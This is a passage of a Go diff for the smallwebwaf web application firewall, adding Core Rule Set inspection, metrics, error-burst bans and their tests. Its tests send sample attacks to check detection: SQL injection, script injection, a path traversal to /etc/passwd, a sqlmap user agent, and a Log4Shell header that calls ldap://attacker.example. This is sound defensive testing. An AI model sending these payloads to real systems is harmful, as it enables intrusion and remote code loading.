WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0,
WAFDisabledRules: []int{}, WAFExemptPaths: []string{},
},
},
} {
cfg := fromEnvironment(t, tc.env)
got := config.Config{
WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel,
WAFAnomalyThreshold: cfg.WAFAnomalyThreshold,
WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths,
WAFBodyLimit: cfg.WAFBodyLimit,
}
if !reflect.DeepEqual(got, tc.want) {
t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want)
}
}
}
func TestWAFBodyLimitOf1G(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{wafBodyLimit: "1G"})
if cfg.WAFBodyLimit != 1<<30 {
t.Errorf("1G read as %d", cfg.WAFBodyLimit)
}
}
func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
t.Parallel()
const (
notParanoiaLevel = " is not a paranoia level, from 1 to 4"
setupRule = " is from 900000 to 900999, the ids of the rules that set " +
"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off"
)
for _, tc := range []struct{ name, value, want string }{
{wafMode, "enforce", `"enforce" is not off, detect or block`},
{wafParanoiaLevel, "0", `"0"` + notParanoiaLevel},
{wafParanoiaLevel, "5", `"5"` + notParanoiaLevel},
{wafParanoiaLevel, off, `"off"` + notParanoiaLevel},
{
wafAnomalyThreshold, "0",
`"0" is not a whole number above zero, such as 60, or off`,
},
{
wafDisabledRules, "920340,REQUEST-920",
`"REQUEST-920" is not the id of a Core Rule Set rule, ` +
`a whole number such as 942100`,
},
{
wafDisabledRules, "-942100",
`"-942100" is not the id of a Core Rule Set rule, ` +
`a whole number such as 942100`,
},
// The paranoia level, the allowed methods, the headers refused, a
// request with more query parameters than Coraza keeps, and a body
// Coraza cannot parse or that fails its strict checks.
{wafDisabledRules, "942100,900000", `"900000"` + setupRule},
{wafDisabledRules, "942100,900200", `"900200"` + setupRule},
{wafDisabledRules, "942100,900250", `"900250"` + setupRule},
{wafDisabledRules, "942100,900300", `"900300"` + setupRule},
{wafDisabledRules, "942100,900440", `"900440"` + setupRule},
{wafDisabledRules, "942100,900450", `"900450"` + setupRule},
{
wafExemptPaths, "api/",
`"api/" is not a path prefix starting with /, such as /assets/`,
},
{
wafBodyLimit, "128KB",
`"128KB" is not a size such as 512K, 100M or 5G, or off`,
},
{wafBodyLimit, "2G", `"2G" is more than 1G, the most Coraza reads`},
{
wafBodyLimit, "1073741825",
`"1073741825" is more than 1G, the most Coraza reads`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
t.Parallel()
@@ -2233,6 +2426,14 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
logLevel: "info",
rulesDir: "/etc/smallwebwaf/rules.d",
rulesEnabled: "true",
wafMode: config.WAFModeBlock,
wafParanoiaLevel: "1",
wafAnomalyThreshold: "5",
wafDisabledRules: defaultWAFDisabledRules,
wafExemptPaths: "",
wafBodyLimit: off,
trapPaths: "",
errorBurstThreshold: "30",
logRemoteURL: "",
logRemoteTLSCAFile: "",
logRemoteBuffer: "10000",
internal/metrics/metrics.go
+39 -20
View File
@@ -6,7 +6,6 @@ package metrics
import (
"net/http"
"strconv"
"strings"
"time"
"github.com/prometheus/client_golang/prometheus"
@@ -37,6 +36,7 @@ type Metrics struct {
rateLimitHits *prometheus.CounterVec
sizeAndTimeLimitHits *prometheus.CounterVec
offences *prometheus.CounterVec
wafMatches *prometheus.CounterVec
// ruleMatches are made by AddRules, and reputationHits by
// AddReputation.
ruleMatches *prometheus.CounterVec
@@ -64,6 +64,8 @@ type Metrics struct {
// topN is how many countries and how many AS numbers get series of their
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
// (SWWAF_INSTANCE_NAME) as its label instance.
//
//nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"}
byFile := []string{"file"}
@@ -94,14 +96,17 @@ func New(topN int, instanceName string) *Metrics {
Help: "How long requests passed to the app took, from then to their end.",
}),
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
"Requests that broke a rate limit or a byte limit, by its window and "+
"its kind, requests or bytes.",
"Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"}),
sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total",
"Requests that passed a size or time limit, by its setting.",
[]string{"limit"}),
offences: counterVec("smallwebwaf_offences_total",
"Offences, by kind.", []string{"kind"}),
wafMatches: counterVec("smallwebwaf_waf_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
"and the rule's id.", []string{"mode", "rule_id"}),
countries: newCountries(topN),
asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -137,7 +142,8 @@ func New(topN int, instanceName string) *Metrics {
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
m.inFlight, m.requests, m.requestBytes, m.responseBytes,
m.requestDuration, m.upstreamDuration,
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns,
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.wafMatches,
m.countries, m.asns,
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
m.stateFileWrites, m.stateFileWriteFailures,
m.stateFileLastWrite, m.stateFileSize,
@@ -407,26 +413,10 @@ func (m *Metrics) RequestEnded(
m.upstreamDuration.Observe(upstreamDuration.Seconds())
}
if line.LimitHit != "" {
// The log line names a byte limit's window with _bytes after it.
window, isBytes := strings.CutSuffix(line.LimitHit, "_bytes")
kind := ratelimit.KindRequests
if isBytes {
kind = ratelimit.KindBytes
}
m.rateLimitHits.WithLabelValues(window, kind).Inc()
}
if limit != "" {
m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc()
}
if line.Offence != "" {
m.offences.WithLabelValues(line.Offence).Inc()
}
if line.Country != "" {
m.countries.add(line.Country, line)
}
@@ -436,12 +426,41 @@ func (m *Metrics) RequestEnded(
}
}
// LimitHit counts a request that broke a rate limit, a byte limit or the
// error burst, by the window and the kind of hit.
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
}
// Offences counts the offences of r, a request that has ended, as its
// client's history counts them, by kind, named as clients.json names
// them.
func (m *Metrics) Offences(r ratelimit.Request) {
for kind, committed := range map[string]bool{
"limit": r.BrokeLimit,
"attack": r.Attack,
"rule_blocked": r.RuleBlocked,
"waf_blocked": r.WAFBlocked,
"token_refused": r.TokenRefused,
} {
if committed {
m.offences.WithLabelValues(kind).Inc()
}
}
}
// RuleMatched counts a request that matched the rule id, whose action is
// action.
func (m *Metrics) RuleMatched(id, action string) {
m.ruleMatches.WithLabelValues(id, action).Inc()
}
// WAFMatched counts a request that matched the Core Rule Set's rule id,
// with SWWAF_WAF_MODE at mode.
func (m *Metrics) WAFMatched(mode string, id int) {
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
}
// StateFileWritten counts a write of the state file name, of size bytes,
// that ended with err.
func (m *Metrics) StateFileWritten(name string, size int, err error) {
internal/proxy/admin.go
+4 -2
View File
@@ -45,8 +45,9 @@ var (
// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a
// token, sent as Authorization: Bearer <token>: the metrics
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without
// it is refused with 401. An endpoint whose token is unset answers 404,
// as any other request under /_smallwebwaf/ does.
// it is refused with 401, which counts toward the error burst. An
// endpoint whose token is unset answers 404, as any other request under
// /_smallwebwaf/ does.
func (rq *request) answerAdmin() {
rq.line.Action = requestlog.ActionAdmin
rq.startClientResponseTimeout()
@@ -57,6 +58,7 @@ func (rq *request) answerAdmin() {
case token == "":
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
case !hasToken(rq.in, token):
rq.tokenRefused = true
rq.out.Header().Set("WWW-Authenticate", "Bearer")
rq.answer(refusal{
status: http.StatusUnauthorized,
internal/proxy/bans.go
+76 -30
View File
@@ -1,6 +1,7 @@
package proxy
import (
"net/http"
"net/netip"
"time"
@@ -9,7 +10,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
@@ -83,6 +83,48 @@ func (rq *request) countBytes() {
}
}
// countRefusal counts the request for the error burst once it has been
// answered, if smallwebwaf refused it after a rule file match, a trap path
// or a Core Rule Set match, or for a missing or wrong token, and in
// observe mode if enforce mode would have: more than
// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
// not counted, and nothing is while the threshold is off.
func (rq *request) countRefusal() {
cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 {
return
}
// In observe mode, a request that enforce mode would have refused
// before it reached the endpoint has had no token refused there.
tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" &&
!isInside(rq.client, cfg.AllowNets)
if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked && !tokenRefused {
return
}
now := rq.h.now()
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.ErrorBurstThreshold)
if !over {
return
}
// What the client was sent, or in observe mode would have been.
status := rq.out.status
switch rq.line.WouldAction {
case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
status = http.StatusForbidden
case requestlog.ActionBanned:
status = cfg.BanResponse
}
rq.banForLimit(now, hit, status)
}
// countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an
@@ -107,20 +149,27 @@ func (rq *request) countedBytes() int64 {
}
// banForLimit bans the client's netblock at now for a broken limit, the
// one hit names, and notes the offence for the log line. status is what
// the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over
// a rate limit, the app's answer for one whose bytes broke a byte limit.
// The ban's notes give the client's limit percentage for that kind of
// limit. The ban sets the client's counters back to zero. In observe mode
// it makes no ban and sets nothing back, and raises the alert for the ban
// it would have made, if that alert would be sent.
// one hit names, notes the offence for the log line and counts the hit in
// the metrics. status is what the client was sent, or is sent:
// SWWAF_BAN_RESPONSE for a request over a rate limit, the app's answer for
// one whose bytes broke a byte limit, the refusal for one that broke the
// error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the error burst is not lowered. The ban sets
// the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent.
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
rq.line.LimitHit = hit.Window
if hit.Kind == ratelimit.KindBytes {
rq.line.LimitHit += "_bytes" // as counts names the byte totals
switch hit.Kind {
case ratelimit.KindBytes:
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
case ratelimit.KindRefusals:
rq.line.LimitHit = requestlog.LimitHitErrorBurst
default:
rq.line.LimitHit = hit.Window
}
rq.line.Offence = requestlog.OffenceLimit
rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
@@ -140,13 +189,13 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
Requests: rq.netblockRequests(netblock),
}
percent := rq.limitPercent
if hit.Kind == ratelimit.KindBytes {
percent = rq.bytesPercent
switch hit.Kind {
case ratelimit.KindRequests:
notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
case ratelimit.KindBytes:
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
}
notes.LimitPercent, notes.LimitPercentSetting = percent.logged()
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
if wouldBan {
@@ -166,25 +215,22 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
}
// banForAttack bans the client's netblock at now for a clear sign of
// attack, the match of rule, a ban rule. In observe mode it makes no ban,
// and raises the alert for the ban it would have made, if that alert
// would be sent.
func (rq *request) banForAttack(now time.Time, rule rules.Rule) {
// attack, which notes name: the ban rule that matched, or the trap path
// asked for. It fills in the rest of the notes. In observe mode it makes
// no ban, and raises the alert for the ban it would have made, if that
// alert would be sent.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
return
}
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
RuleID: rule.ID,
Target: rule.Target,
Reputation: rq.reputation,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
notes.ASN = rq.line.ASN
notes.ASName = rq.line.ASName
notes.Country = rq.line.Country
notes.Reputation = rq.reputation
notes.Request = rq.noted(now, rq.h.config.BanResponse)
notes.Requests = rq.netblockRequests(netblock)
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
internal/proxy/bans_test.go
+3
View File
@@ -205,6 +205,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
banScopeV4Prefix: "24",
deniedCountries: "kp",
@@ -243,6 +244,7 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
deniedCountries: "kp",
@@ -268,6 +270,7 @@ func TestBanNotes(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
deniedCountries: "kp",
})
internal/proxy/bodies.go
+27 -3
View File
@@ -1,8 +1,10 @@
package proxy
import (
"bufio"
"errors"
"io"
"net"
"net/http"
"sync/atomic"
@@ -21,6 +23,9 @@ type requestBody struct {
// SWWAF_REQUEST_MAX_BYTES.
body io.ReadCloser
rq *request
// readByCoreRuleSet is what the Core Rule Set read of the body before
// the request went to the app, and Read gives first.
readByCoreRuleSet []byte
// waiting is true while a Read waits for the client to send more.
waiting atomic.Bool
// received is true once the client has sent the whole body.
@@ -29,8 +34,16 @@ type requestBody struct {
bytes atomic.Int64
}
// Read reads from the client's body.
// Read reads from the client's body, after what the Core Rule Set read of
// it, which has been counted already.
func (b *requestBody) Read(p []byte) (int, error) {
if len(b.readByCoreRuleSet) > 0 {
n := copy(p, b.readByCoreRuleSet)
b.readByCoreRuleSet = b.readByCoreRuleSet[n:]
return n, nil
}
b.waiting.Store(true)
n, err := b.body.Read(p)
b.waiting.Store(false)
@@ -200,9 +213,20 @@ func (w *responseWriter) FlushError() error {
return err
}
// Hijack takes over the connection to the client, which ReverseProxy does
// only to pass on the app's 101 Switching Protocols: that is then the
// status sent.
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
if err == nil {
w.status = http.StatusSwitchingProtocols
}
return conn, buffered, err
}
// Unwrap lets http.ResponseController reach net/http's own
// ResponseWriter, which is how ReverseProxy takes over the connection of
// an upgraded request.
// ResponseWriter for what responseWriter does not do itself.
func (w *responseWriter) Unwrap() http.ResponseWriter {
return w.ResponseWriter
}
internal/proxy/bytelimits_test.go
-2
View File
@@ -282,8 +282,6 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
t.Parallel()
const off = "off"
s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
})
internal/proxy/coreruleset.go
+124
View File
@@ -0,0 +1,124 @@
package proxy
import (
"errors"
"net/http"
"os"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// checkCoreRuleSet inspects the request with the Core Rule Set, unless
// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
// pathExempt decides, and notes the rules it matched and its score in the
// log line, and the rules in the metrics. A score at or over
// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
// and in block mode refuses the request, which is an offence its client's
// history counts, and so returns ActionWAFBlocked. It returns "" for a
// request it does not refuse, and for one whose body meets a size or time
// limit while the Core Rule Set reads it, which it notes nothing of.
func (rq *request) checkCoreRuleSet() string {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
return ""
}
start := time.Now()
result := rq.inspect()
if rq.refused.Load() != nil {
return "" // the refusal for that limit, which check returns
}
rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
rq.line.WAFRuleIDs = result.RuleIDs
rq.line.WAFScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.WAFMatched(cfg.WAFMode, id)
}
threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold {
return ""
}
rq.alertWAFBlock(result)
if cfg.WAFMode == config.WAFModeDetect {
return ""
}
rq.wafBlocked = true
return requestlog.ActionWAFBlocked
}
// inspect runs the Core Rule Set on the request, which reads the part of
// its body it inspects within SWWAF_CLIENT_REQUEST_TIMEOUT, and keeps that
// part for the app. A client that runs out of time is refused with 408
// here, and a body over SWWAF_REQUEST_MAX_BYTES with 413 as it is read;
// check returns the refusal. A body that breaks off for any other reason
// is passed on as far as it came, and the request to the app fails there,
// as it would have without the Core Rule Set.
func (rq *request) inspect() waf.Result {
if rq.body == nil {
// Nothing is read of no body, so nothing can go wrong reading it.
result, _, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, http.NoBody)
return result
}
_ = rq.rc.SetReadDeadline(rq.clientRequestDeadline())
result, read, err := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.body)
// The timeouts that run while the request goes to the app take over.
_ = rq.rc.SetReadDeadline(time.Time{})
rq.body.readByCoreRuleSet = read
if errors.Is(err, os.ErrDeadlineExceeded) {
rq.refuse(refusal{
status: http.StatusRequestTimeout,
action: requestlog.ActionTimedOut,
limit: "SWWAF_CLIENT_REQUEST_TIMEOUT",
})
}
return result
}
// alertWAFBlock raises the waf_block alert for the request, which the Core
// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
// detail gives the rule ids, the score, the method and the path with the
// query, and, for a request that is not refused for it, the mode: detect,
// or observe in observe mode.
func (rq *request) alertWAFBlock(result waf.Result) {
detail := map[string]any{
"rule_ids": result.RuleIDs,
"score": result.Score,
"method": rq.in.Method,
"path": rq.in.URL.RequestURI(),
}
switch {
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventWAFBlock,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
}
internal/proxy/coreruleset_test.go
+590
View File
@@ -0,0 +1,590 @@
package proxy_test
import (
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
// its two modes that inspect requests.
const (
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
block = "block"
detect = "detect"
)
// formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded"
// sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWWAF_WAF_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantWAF checks the request log line's waf_rule_ids and waf_score, and
// that it has duration_waf, or with no score, that it has none of the
// three: the Core Rule Set did not inspect the request.
func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t.Helper()
if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
}
switch {
case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
line.fields["waf_score"], line.fields["duration_waf"])
case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
case score != nil && line.DurationWAF == nil:
t.Error("log line has no duration_waf")
}
}
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t.Parallel()
for _, attack := range []struct {
name, path, header string
ruleIDs []int
score int
}{
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
{
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
[]int{941100, 941110, 941160, 941390}, 20,
},
{
"path traversal in the path", "/files/../../etc/passwd", "",
[]int{930100, 930110}, 10,
},
{
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
[]int{944150}, 5,
},
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
{
// Coraza keeps the first 1000 query parameters.
"SQL injection after 1000 query parameters",
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
[]int{900300}, 5,
},
} {
t.Run(attack.name, func(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
mode, action string
status int
}{
{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK},
} {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
line, _ := s.requestWithHeader(client, attack.path, attack.header,
tc.status, tc.action)
wantWAF(t, line, &attack.score, attack.ruleIDs...)
}
})
}
}
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
}
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
t *testing.T,
) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block,
wafExemptPaths: "/api/",
allowNets: allowed,
rulesDir: writeRules(t, testRules),
})
// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
// exempts, are not inspected.
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
requestlog.ActionForward)
wantWAF(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected.
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionWAFBlocked)
wantWAF(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected.
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionRuleBlocked)
wantWAF(t, line, nil)
// With SWWAF_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
}
func TestAnomalyThreshold(t *testing.T) {
t.Parallel()
// A score under the threshold, or with the threshold off, is logged,
// and refuses nothing.
for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: threshold,
})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(5), 942100)
}
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: "5",
})
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
t.Parallel()
for _, request := range []struct {
name, method, path, header string
// ruleIDs are the rules that match the request with none
// switched off.
ruleIDs []int
}{
{
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
[]int{920420, 930130},
},
{
"package upload without a type", http.MethodPut,
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
[]int{920340},
},
{
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
[]int{920440},
},
{
"an editor's settings", http.MethodGet,
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
},
} {
t.Run(request.name, func(t *testing.T) {
t.Parallel()
body := ""
if request.method != http.MethodGet {
body = "push"
}
// By default, the rules are switched off.
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
// A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafDisabledRules: "942100",
})
score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists.
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
})
}
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
const body = "id=1'%20OR%20'1'='1"
header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body))
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
}
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
t.Parallel()
// The app answers with the body it was sent, once it has the whole of
// it: Go's server reads no more of a body once the answer has begun.
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
_, _ = w.Write(body)
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
for i, tc := range []struct {
name, contentType, body string
// announced sends the body's length in Content-Length; otherwise
// the body is sent in chunks with no length given.
announced bool
}{
{"form data within the limit", formData, "a=b", true},
{"form data longer than the limit", formData, longer, true},
{"form data longer than the limit, not announced", formData, longer, false},
{
"JSON larger than the limit", "application/json",
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
},
{
"a binary body", "application/octet-stream",
strings.Repeat("\x00\xff", sizeLimit), true,
},
} {
// A reader whose length the client cannot tell is sent in chunks.
var body io.Reader = strings.NewReader(tc.body)
if !tc.announced {
body = io.MultiReader(body)
}
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", tc.contentType)
got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
tc.name, len(got.body), got.status, len(tc.body))
}
line := out.requestLines(t, i+1)[i]
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.RequestBytes != int64(len(tc.body)) {
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
line.RequestBytes, len(tc.body))
}
}
}
func TestFormBodyLongerThanTheLimitStreamsOnToTheApp(t *testing.T) {
t.Parallel()
const (
first = "a=" // and twice the limit of b's, then the rest
rest = 64 * sizeLimit
)
// past is closed once the app has received twice what the Core Rule
// Set reads, and got is the length of the whole body it received.
past := make(chan struct{})
got := make(chan int64, 1)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
n, _ := io.CopyN(io.Discard, r.Body, 2*sizeLimit)
close(past)
m, _ := io.Copy(io.Discard, r.Body)
got <- n + m
})
